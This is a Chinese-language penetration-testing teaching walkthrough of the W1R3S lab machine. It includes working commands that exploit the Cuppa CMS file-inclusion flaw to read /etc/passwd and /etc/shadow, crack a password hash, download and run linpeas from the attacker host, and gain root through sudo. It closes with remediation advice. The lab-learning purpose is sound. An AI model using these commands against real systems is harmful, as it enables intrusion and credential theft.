No.5-红队渗透项目:w1r3s-editable
字数 1426 2025-08-19 12:42:24

红队渗透项目:w1r3s-editable 渗透测试教学文档

项目概述

本教学文档详细记录了针对w1r3s-editable靶机的完整渗透测试过程,涵盖信息收集、漏洞利用、权限提升等关键环节,适合网络安全学习者参考。

环境准备

  • 攻击机:Kali Linux (VMware虚拟机环境)
  • 目标机:IP地址为192.168.111.137
  • 工具集:nmap、curl、John the Ripper、linpeas.sh等

一、信息收集阶段

1. 网络扫描

使用nmap进行主机发现和端口扫描:

nmap -sP 192.168.111.0/24  # 主机发现
nmap 192.168.111.137 -p- -sS -sV -A -T5  # 详细扫描

扫描结果

  • 21/tcp: FTP (允许匿名登录)
  • 22/tcp: SSH
  • 80/tcp: HTTP
  • 3306/tcp: MySQL

2. FTP服务枚举

匿名登录FTP服务:

ftp 192.168.111.137
用户名: Anonymous
密码: Anonymous

在content目录下发现三个txt文件:

  • 01.txt
  • 02.txt (包含Base64编码字符串: SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==)
  • 03.txt

Base64解码后无有效信息,FTP途径未能获取关键信息。

二、Web渗透阶段

1. 目录枚举

发现Cuppa CMS管理后台路径:

http://192.168.111.137/administrator/installation/

2. 漏洞利用

漏洞信息

  • Cuppa CMS存在文件包含漏洞(Exploit-DB ID: 25971)
  • 漏洞路径:/administrator/alerts/alertConfigField.php
  • 参数:urlConfig

利用方法
由于直接GET请求无响应,需使用POST方式:

curl --data-urlencode urlConfig=etc/passwd http://192.168.111.137/administrator/alerts/alertConfigField.php

成功读取/etc/passwd文件,获取用户信息:

w1r3s:x:1000:1000:W1R3S,,,:/home/w1r3s:/bin/bash

3. 密码获取

读取shadow文件:

curl -s --data-urlencode urlConfig=etc/shadow http://192.168.111.137/administrator/alerts/alertConfigField.php

提取w1r3s用户的密码哈希:

w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::

使用John the Ripper破解密码:

  1. 将哈希保存到2.txt
  2. 运行破解:
john 2.txt

破解结果:密码为computer

三、权限提升阶段

1. SSH登录

使用获取的凭据登录:

ssh w1r3s@192.168.111.137
密码: computer

2. 本地信息收集

使用linpeas.sh进行本地枚举:

  1. 在攻击机启动HTTP服务:
python -m SimpleHTTPServer 8081
  1. 目标机下载并运行:
wget http://192.168.111.128:8081/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

3. Sudo提权

检查sudo权限:

sudo -l

输出

User w1r3s may run the following commands on W1R3S:
    (ALL : ALL) ALL

表示w1r3s用户拥有所有sudo权限,可直接提权:

sudo su

4. 获取flag

进入root目录查看flag:

cd /root/
ls -la

四、漏洞分析

文件包含漏洞根源

漏洞文件:/administrator/alerts/alertConfigField.php
问题代码:

include_once(realpath(__DIR__.'/../classes/Cuppa.php'));

漏洞原因

  1. 使用include_once()函数包含用户可控参数
  2. realpath()__DIR__组合可能允许目录遍历
  3. 缺乏对urlConfig参数的严格过滤

修复建议

  1. 避免直接包含用户输入
  2. 使用白名单限制可包含的文件
  3. 移除不必要的目录遍历功能
  4. 对输入进行严格过滤和验证

总结

本次渗透测试完整流程:

  1. 通过nmap扫描发现开放服务
  2. 利用FTP匿名登录收集信息
  3. 发现Cuppa CMS并利用文件包含漏洞
  4. 读取系统文件获取用户凭据
  5. 破解密码后通过SSH登录
  6. 利用sudo配置不当直接提权

关键点

  • 文件包含漏洞的POST请求利用方式
  • 从shadow文件提取密码哈希的技巧
  • sudo配置审计的重要性
  • 自动化工具(linpeas)在权限提升中的应用

扩展思考

  1. 如果文件包含漏洞无法直接利用,还有哪些可能的攻击路径?
  2. 如何防御此类文件包含漏洞?
  3. 在sudo配置中,如何合理分配权限而不造成安全隐患?
红队渗透项目:w1r3s-editable 渗透测试教学文档 项目概述 本教学文档详细记录了针对w1r3s-editable靶机的完整渗透测试过程,涵盖信息收集、漏洞利用、权限提升等关键环节,适合网络安全学习者参考。 环境准备 攻击机 :Kali Linux (VMware虚拟机环境) 目标机 :IP地址为192.168.111.137 工具集 :nmap、curl、John the Ripper、linpeas.sh等 一、信息收集阶段 1. 网络扫描 使用nmap进行主机发现和端口扫描: 扫描结果 : 21/tcp: FTP (允许匿名登录) 22/tcp: SSH 80/tcp: HTTP 3306/tcp: MySQL 2. FTP服务枚举 匿名登录FTP服务: 在content目录下发现三个txt文件: 01.txt 02.txt (包含Base64编码字符串: SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg== ) 03.txt Base64解码后无有效信息,FTP途径未能获取关键信息。 二、Web渗透阶段 1. 目录枚举 发现Cuppa CMS管理后台路径: 2. 漏洞利用 漏洞信息 : Cuppa CMS存在文件包含漏洞(Exploit-DB ID: 25971) 漏洞路径: /administrator/alerts/alertConfigField.php 参数: urlConfig 利用方法 : 由于直接GET请求无响应,需使用POST方式: 成功读取 /etc/passwd 文件,获取用户信息: 3. 密码获取 读取shadow文件: 提取w1r3s用户的密码哈希: 使用John the Ripper破解密码: 将哈希保存到2.txt 运行破解: 破解结果 :密码为 computer 三、权限提升阶段 1. SSH登录 使用获取的凭据登录: 2. 本地信息收集 使用linpeas.sh进行本地枚举: 在攻击机启动HTTP服务: 目标机下载并运行: 3. Sudo提权 检查sudo权限: 输出 : 表示w1r3s用户拥有所有sudo权限,可直接提权: 4. 获取flag 进入root目录查看flag: 四、漏洞分析 文件包含漏洞根源 漏洞文件: /administrator/alerts/alertConfigField.php 问题代码: 漏洞原因 : 使用 include_once() 函数包含用户可控参数 realpath() 和 __DIR__ 组合可能允许目录遍历 缺乏对 urlConfig 参数的严格过滤 修复建议 避免直接包含用户输入 使用白名单限制可包含的文件 移除不必要的目录遍历功能 对输入进行严格过滤和验证 总结 本次渗透测试完整流程: 通过nmap扫描发现开放服务 利用FTP匿名登录收集信息 发现Cuppa CMS并利用文件包含漏洞 读取系统文件获取用户凭据 破解密码后通过SSH登录 利用sudo配置不当直接提权 关键点 : 文件包含漏洞的POST请求利用方式 从shadow文件提取密码哈希的技巧 sudo配置审计的重要性 自动化工具(linpeas)在权限提升中的应用 扩展思考 如果文件包含漏洞无法直接利用,还有哪些可能的攻击路径? 如何防御此类文件包含漏洞? 在sudo配置中,如何合理分配权限而不造成安全隐患?